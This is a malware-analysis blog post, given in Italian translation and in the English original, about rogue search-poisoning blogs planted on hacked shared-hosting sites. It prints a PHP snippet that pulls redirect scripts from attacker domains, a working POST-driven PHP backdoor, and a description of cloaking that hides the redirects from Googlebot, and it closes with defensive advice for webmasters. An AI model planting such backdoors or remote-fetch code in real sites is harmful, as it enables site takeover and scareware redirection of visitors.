Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites. Blog.

A novembre, ho scritto in merito ai rogue blog , creati nelle sottodirectory di siti legittimi. I blog contaminavano i risultati delle ricerche di Google per milioni di parole chiave relativamente poco comuni (the long tail), reindirizzando i visitatori a siti web scareware.

Questo hack principalmente interessava i siti ospitati sul network Servage .

Recentemente sono stato contattato da uno dei clienti di Servage che ha trovato alcuni dei propri siti violati:

ho notato traffico anomalo verso domini parzialmente o interamente utilizzati per gli indirizzi email (SMTP forwarding, niente di così ‘intelligente’ con la webmail.). Questo m’ha portato ad analizzare le strutture dei file ed una rapida occhiata su Google mi ha portato al tuo sito.

Mi ha inviato il file incriminato che si trovava nel suo account (grazie Matthew). Ora posso condividere la mia analisi dei file con tutti voi.

Nel mio post precedente, ho speculato sulla struttura interna dei rogue blog. Ora che ho i file, posso dire che tutte le mie ipotesi si sono rivelate corrette.

Motore del Blog

Appunto, un motore PHP full-optional ancora minimalista potenzia i rogue blog. L’intero motore è composto di soli 4 file:

• index.php – file principale del motore. Meno di 500 righe di codice PHP. Meno di 18K byte su disco.
• template.php – template delle pagine Web che utilizza i dati forniti da index.php. Circa 20 Kbytes.
• categories.dat – categorie del blog serializzate.
• . htaccess – rewrite rules per supportare gli URL SEO friendly.

Questo motore è veramente anonimo. Non sono riuscito a trovare eventuali credits. Nessun nome, o licenza. Solo il codice. L’unico indizio che ho trovato è stata questa stringa User-Agent delle richieste ping: WeirD blog engine.

Caratteristiche

Il motore può fare tutto ciò che ci si aspetta da un motore per blog.

• aggiungere/rimuovere voci
• separare le voci per categorie
• mostrare le voci in ordine cronologico
• supporto per gli url SEO friendly
• notifica servizi come Ping-O-Matic, Technorati, Google Blogsearch, Weblogs sui nuovi post.
• feed RSS
• supporto per i trackback
• supporto per template personalizzati

File semplici

Le voci (sono centinaia) sono memorizzate in semplici file . txt nella stessa directory. Questo rende il motore indipendente dal database, in modo da poter lavorare su più server. Gli unici requisiti sono:

• PHP
• autorizzazioni per le directory sufficienti per creare file
• Apache (per usare URL SEO-friendly)

Ecco un esempio di uno di questi file di testo (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

Come potete notare i file sono chiari. Al titolo della prima riga segue subito il contenuto. Nel nostro caso il contenuto è composto da cinque immagini (i risultati della ricerca su Google Immagini per le parole chiave corrispondenti ).

. htaccess

Poiché lo scopo del rogue blog è la contaminazione dei risultati di ricerca, l’ url “SEO-friendly” è una caratteristica necessaria del motore di questo blog. Questo motore utilizza rewrite rules di .htaccess.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]


Caratteristiche dannose

Ciò che rende questi blog dannosi sono le seguenti modifiche al motore originale.

css.js

Tutte le pagine del blog contengono il seguente tag script:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

Lo script reindirizza i visitatori che provengono dai motori di ricerca verso siti scareware. Il contenuto di questo script cambia in maniera costante, reindirizzando le persone verso nuovi siti, non ancora presenti nelle blacklist.

Ecco come lo fanno dietro le quinte:

function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

Come si può vedere, questo codice cerca di aggiornare il file css.js, scaricando il suo nuovo contenuto da siti hacker:

t.xmlstats. in , t.jsonstats. in e, in alcune versioni del motore, t.jsstats. in .

In questo modo gli hacker si assicurano che i loro blog reindirizzino sempre verso siti scareware perfettamente funzionanti.

Anti-Googlebot

Un’altra modifica è rappresentata dal codice che individua le richieste provenienti dal network di Google, verificando l’indirizzo IP tra gli intervalli noti.

Se viene rilevata una richiesta da parte di Google, il file css.js viene sostituito con css.google.js .
In questo modo gli hacker cercano di nascondere i reindirizzamenti dannosi dal Googlebot quando indicizza i rogue blog.

Se molti blog simili compaiono nei risultati di ricerca di Google senza nessuna segnalazione, significa che questo semplice trucco fa bene il proprio lavoro.

Diverse generazioni

In novembre ho scoperto che c’erano state molte generazioni diverse di rogue blog. Controllando i file ricevuti da Matthew, ho trovato quelle generazioni in sottodirectory separate: blog, bmblog, bmsblog.

Script backdoor

Un altro file interessante che ho ricevuto è stato index.php, che precedeva le directory con i rogue blog:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

Questo è un tipico script backdoor che esegue qualunque codice PHP che gli hacker scelgano d’inviare nei parametri delle richieste POST.

Apparentemente questo script è stato utilizzato per creare tutti gli altri file e directory rogue. La questione è come mai questo script backdoor sia arrivato qui, al primo posto.

Quando Matthew ha chiesto a Servage cosa stesse accadendo ai suoi siti, lo hanno accusato di utilizzare script poco sicuri, nonostante il il fatto che il suo sito non utilizzasse nessun script.

Come ho mostrato nel mio post precedente , oltre l’85% dei blog rogue scoperti, sono ospitati da Servage; quindi sono quasi certo che sia stata utilizzata qualche vulnerabilità specifica di Servage.( Pura speculazione: ad esempio, potrebbe essere una shell php che gli hacker utilizzano per trovare account utente con directory scrivibili. E l’architettura interna di Servage potrebbe aiutare questo script a propagarsi su diversi server fisici. )

Ancora attivo

Nonostante la prima generazione di questi rogue blog sia apparsa in aprile dell’anno scorso, questo attacco è ancora attivo. Riesco ancora a vedere parecchi rogue bmsblog blog con le date dei post più recenti di marzo 2010. E alcuni di loro (non tutti comunque) possono essere trovati tramite una ricerca di Google inurl:bmsblog/category 2010.

Nonostante questo particolare attacco colpisca soprattutto i clienti della società di hosting Servage, è abbastanza tipico per questi hack tentare di creare pagine web rogue nei siti web compromessi. Quindi il seguente consiglio dovrebbe essere utile per la maggior parte dei webmaster.

1. Assicuratevi che le directory dei server siano scrivibili soltanto da voi. In particolare nel caso di un ambiente di hosting condiviso, dove gli hacker possono utilizzare un account neighbor compromesso per trovare le directory scrivibili negli altri siti sullo stesso server e creare contenuti rogue.

2. Effettuate un’analisi regolare del server alla ricerca di file e directory sospetti.

3. Controllate regolarmente i raw server log. Potreste trovare richieste di file che non dovrebbe essere presenti.

4. Prestare particolare attenzione alle richieste POST. Sono molto usate per gli script backdoor. Basta compilare un elenco di file accessibili tramite le richieste POST e verificare se ne riconoscete alcune.

5. Molti piani di hosting condiviso includono Webalizer . Ogni tanto controllate i suoi report. Nonostante non siano così utili come i rapporti di Google Analytics, hanno un vantaggio importante: tracciano tutti i file del vostro account, non solo quelli in cui è stato inserito un codice di monitoraggio. Così, in Webalizer, è possibile vedere le richieste dei file create dagli hacker, mentre in Google Analytics questo tipo di dati manca completamente .

6. Gli hacker, di solito, creano pagine web rogue per contaminare i risultati delle ricerche di Google. Quindi è naturale usare Google per rilevare questo tipo di hack. Utilizzate regolarmente Google per verificare ciò che è indicizzata sul tuo sito. Utilizzate il comando di ricerca site:you_site_domain.com

7. Controllate regolarmente i report in Strumenti per i Webmaster .
Potrebbero rivelare anche attività sospette. Report utili: Principali query di ricerca , Parole chiave , Link che rimandano al tuo sito .

8. Se trovate nuove directory con file rogue, negate loro i permessi in robots.txt .
Questo mostrerà a Google che non si desidera che queste directory vengano indicizzate. In caso contrario, anche se si elimina il file, Google può tenerli in indice per parecchio tempo (chi lo sa, forse l’avete rimosso temporaneamente mentre, per esempio, state riprogettando il sito).

Ad esempio, se trovate file pericolosi in /cgiproxy/bmsblog/ il file robots.txt deve essere:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. Non dimenticate gli altri tipi di hack che pasticciano con i file esistenti. Controllate regolarmente la coerenza del vostro sito e vigilate su qualsiasi contenuto illecito che gli hacker possano iniettare nelle pagine web ( in questo caso il mio servizio Unmask Parasites può aiutare).

Chiama per ulteriori informazioni

Questo caso non è stato ancora completamente investigato. Ad esempio, ancora non so perché colpisca soprattutto Servage e come esattamente si propaghi. Queste informazioni potrebbero esser utili ai clienti di Servage per prevenire l’infezione dei loro siti.
Probabilmente anche i ragazzi di Servage hanno bisogno di queste informazioni, visto che pare non possano fermare questo attacco da soli ( è in corso da circa un anno !!!)

Se avete informazioni interessanti su altri tipi di attacchi hacker, vi invitiamo a condividerle con me e i lettori di questo blog. Sono sempre alla ricerca di file dannosi che i webmaster trovino su server compromessi. Possono dire molto su come funzionino gli attacchi.

Quindi prima di eliminare qualsiasi contenuto pericoloso, prima di tutto contattatemi.

Grazie per aver letto questo blog. I vostri commenti sono benvenuti .

Post correlati:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.

Fonte: Internals of Rogue Blogs

Back in November, I wrote about rogue blogs created in subdirectories of legitimate websites. The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly affected sites hosted on Servage network.

Recently I’ve been contacted by one of Servage clients who found his sites hacked:

I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything ‘clever’ with webmail.) That led me to the file structures and a quick google led me to your site.

He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.

In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.

Blog engine

Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.

The whole engine consists of only 4 files:

• index.php – main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.
• template.php – template of web pages that uses the data provided by the index.php. About 20 Kbytes.
• categories.dat – serialized blog categories.
• .htaccess – rewrite rules to support SEO-friendly URLs.

And this engine is indeed anonymous. I couldn’t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests: WeirD blog engine.

Features

The engine can do pretty much everything you expect a blog engine should be able to do.

• add/remove entries
• break down entries by categories
• display entries in chronological order
• support SEO-friendly URLs
• notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.
• provide RSS feeds
• support trackbacks
• support custom templates

Flat files

The entries (there are hundreds of them) are stored in flat .txt files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:

• PHP
• sufficient directory permissions to create files
• Apache (to use SEO-friendly URLs)

Here’s a sample content of one of such text files (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).

.htaccess

Since the purpose of the rogue blogs is poisoning of search results, “SEO-friendly” URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Malicious features

What makes these blogs malicious is following modifications to the original engine.

css.js

All blog pages contain the following script tag:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:
function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

As you can see, this code tries to update the css.js file downloading its new content from hackers’ sites: t.xmlstats .in, t.jsonstats .in and, in some versions of the engine, t.jsstats .in.

This is how hackers make sure their blogs always redirect to currently active scareware sites.

Anti-Googlebot

Another modification is the code that detects requests from Google’s network checking the IP address against known Google’s IP ranges. If a request from Google is detected, the css.js file is replaced with css.google.js. This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.

Different generations

In November, I discovered that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: blog, bmblog, bmsblog.

Backdoor script

Another interesting file I received is the index.php above the directories with rogue blogs:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.

Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.

When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn’t use any scripts at all.

As I showed in my previous post, 85%+ of discovered rogue blogs are hosted by Servage so I’m almost sure some Servage-specific security hole was used. (Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers. )

Still active

While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue bmsblog blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search inurl:bmsblog/category 2010.

To Webmasters

While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.

1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.

2. Regularly scan your server for any suspicious files and directories.

3. Regularly check raw server logs. You may find requests to files that shouldn’t be there.

4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.

5. Many shared hosting plans include Webalizer. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics – they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics completely misses this sort of data.

6. Hackers usually create rogue web pages to poison Google search results. So it’s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the site:you_site_domain.com search command.

7. Regularly check reports in Google Webmaster Tools. They may also reveal suspicious activity. Useful reports: Top search queries, Keywords, Links to your site.

8. If you find new directories with rogue files, disallow them in robots.txt. This will show Google that you don’t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).

For example, if you find rogue files in /cgiproxy/bmsblog/ the robots.txt should be:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. And don’t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my Unmask Parasites service can help).

Call for information

This case is not completely investigated yet. For example, I still don’t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can’t stop this attack themselves (and it’s active for about a year now!!!)

And if you have interesting information about any other hacker attack, please share it with me and readers of this blog. I’m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider contacting me first.

Thanks for reading this blog. Your comments are welcome.

Related posts:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.

Source: Internals of Rogue Blogs